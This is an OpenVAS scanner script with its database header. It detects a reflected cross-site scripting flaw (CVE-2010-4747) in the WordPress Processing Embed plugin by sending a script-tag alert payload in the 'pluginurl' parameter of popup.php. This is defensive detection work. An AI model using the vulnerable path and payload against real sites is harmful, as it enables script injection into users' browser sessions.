WordPress Processing Embed Plugin 'pluginurl' Parameter Cross Site Scripting Vulnerability

2011-03-22T00:00:00
ID OPENVAS:1361412562310801908
Type openvas
Reporter Copyright (c) 2011 Greenbone Networks GmbH
Modified 2018-10-20T00:00:00

Description

This host is installed with WordPress Processing Embed Plugin and is prone to cross-site scripting vulnerability.

                                        
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# OpenVAS Vulnerability Test
# $Id: gb_wordpress_processing_embed_plugin_xss.nasl 11997 2018-10-20 11:59:41Z mmartin $
#
# WordPress Processing Embed Plugin 'pluginurl' Parameter Cross Site Scripting Vulnerability
#
# Authors:
# Antu Sanadi<santu@secpod.com>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801908");
  script_version("$Revision: 11997 $");
  script_tag(name:"last_modification", value:"$Date: 2018-10-20 13:59:41 +0200 (Sat, 20 Oct 2018) $");
  script_tag(name:"creation_date", value:"2011-03-22 08:43:18 +0100 (Tue, 22 Mar 2011)");
  script_cve_id("CVE-2010-4747");
  script_bugtraq_id(45266);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress Processing Embed Plugin 'pluginurl' Parameter Cross Site Scripting Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (c) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/installed");

  script_xref(name:"URL", value:"http://secunia.com/advisories/42545");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/63761");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute arbitrary
  web script or HTML in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"WordPress Processing Embed version 0.5");

  script_tag(name:"insight", value:"The flaw is due to input validation error in 'pluginurl'
  parameter to 'wp-content/plugins/wordpress-processing-embed/data/popup.php',
  which is not properly sanitised before being returned to the user.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"This host is installed with WordPress Processing Embed Plugin
  and is prone to cross-site scripting vulnerability.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);
if(dir == "/") dir = "";

res = http_get_cache(item:string(dir, "/wp-content/plugins/wordpress-processing-embed/readme.txt"), port:port);
if("Wordpress Processing Embed" >< res) {

  url = dir + "/wp-content/plugins/wordpress-processing-embed/data/popup.php?pluginurl=<script>alert(11111)</script>";
  if(http_vuln_check(port:port, url:url, pattern:"<script>alert\(11111\)</script>", check_header:TRUE)){
    report = report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);